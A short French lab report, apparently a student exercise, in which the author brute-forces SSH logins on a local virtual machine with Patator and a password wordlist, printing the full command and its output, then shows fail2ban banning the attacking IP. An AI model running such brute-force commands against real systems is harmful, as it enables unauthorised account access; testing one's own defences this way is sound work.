

Attaque brute force avec patator

J'ai effectué des attaques de brutes forces à l'aide de Patator, en utilisant plusieurs mots de passe :

```
aasci@ubuntu:~$ patator ssh_login host=192.168.5.128 user=aasci password=FILE0 0=/home/aasci/Desktop/mdp.txt
00:02:17 patator INFO - Starting Patator v0.7 (https://github.com/lanjelot/patator) at 2023-12-11 00:02 PST
00:02:17 patator INFO -
00:02:17 patator INFO - code size time | candidate | num | msg
00:02:17 patator INFO - -----
00:02:18 patator INFO - 0 39 0.064 | 123456 | 1 | SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.9
00:02:21 patator INFO - 1 22 3.099 | 12345 | 2 | Authentication failed.
00:02:21 patator INFO - 1 22 3.095 | 123456789 | 3 | Authentication failed.
00:02:21 patator INFO - 1 22 3.094 | password | 4 | Authentication failed.
00:02:21 patator INFO - 1 22 3.097 | iloveyou | 5 | Authentication failed.
00:02:21 patator INFO - 1 22 3.099 | princess | 6 | Authentication failed.
00:02:21 patator INFO - 1 22 3.093 | 1234567 | 7 | Authentication failed.
00:02:21 patator INFO - 1 22 3.093 | 12345678 | 8 | Authentication failed.
00:02:21 patator INFO - 1 22 3.089 | abc123 | 9 | Authentication failed.
00:02:21 patator INFO - 1 22 3.095 | nicole | 10 | Authentication failed.
00:02:21 patator INFO - 1 22 3.092 | daniel | 11 | Authentication failed.
00:02:51 patator INFO - 1 23 30.014 | babygirl | 12 | Authentication timeout.
00:02:51 patator INFO - 1 23 30.013 | monkey | 13 | Authentication timeout.
00:02:51 patator INFO - 1 23 30.016 | lovely | 14 | Authentication timeout.
00:02:51 patator INFO - 1 23 30.013 | jessica | 15 | Authentication timeout.
00:02:51 patator INFO - 1 23 30.013 | 654321 | 16 | Authentication timeout.
00:02:51 patator INFO - 1 23 30.015 | michael | 17 | Authentication timeout.
00:02:51 patator INFO - 1 23 30.014 | ashley | 18 | Authentication timeout.
00:02:51 patator INFO - 1 23 30.015 | qwerty | 19 | Authentication timeout.
00:02:51 patator INFO - 1 23 30.017 | 111111 | 20 | Authentication timeout.
00:02:51 patator INFO - 1 23 30.016 | iloveu | 21 | Authentication timeout.
```

Les mots de passe ont échoué car l'adresse IP que j'ai essayé d'attaquer était celle de la machine dans laquelle j'ai installé fail2ban.

A l'aide de la commande suivante j'ai pu réaliser mon attaque :

- patator ssh_login host=192.168.5.128 user=aasci password=FILE0 0=/home/aasci/Desktop/mdp.txt

Mdp.txt est un fichier qui contenait plusieurs types de mot de passe afin d'essayer de casser le mot de passe de la machine qui dispose de la protection fail2ban.

Voici la preuve qui montre que fail2ban a bien banni la machine avec laquelle je l'ai attaqué. On peut voir son IP dans la liste des IP bannies.

```
aasci@ubuntu: ~
aasci@ubuntu:~/Desktop$ cd ..
aasci@ubuntu:~$ sudo fail2ban-client status sshd
Status for the jail: sshd
|- Filter
| |- Currently failed: 1
| |- Total failed: 10
| `-- File list: /var/log/auth.log
`- Actions
  |- Currently banned: 1
  |- Total banned: 1
  `-- Banned IP list: 192.168.5.129
aasci@ubuntu:~$
```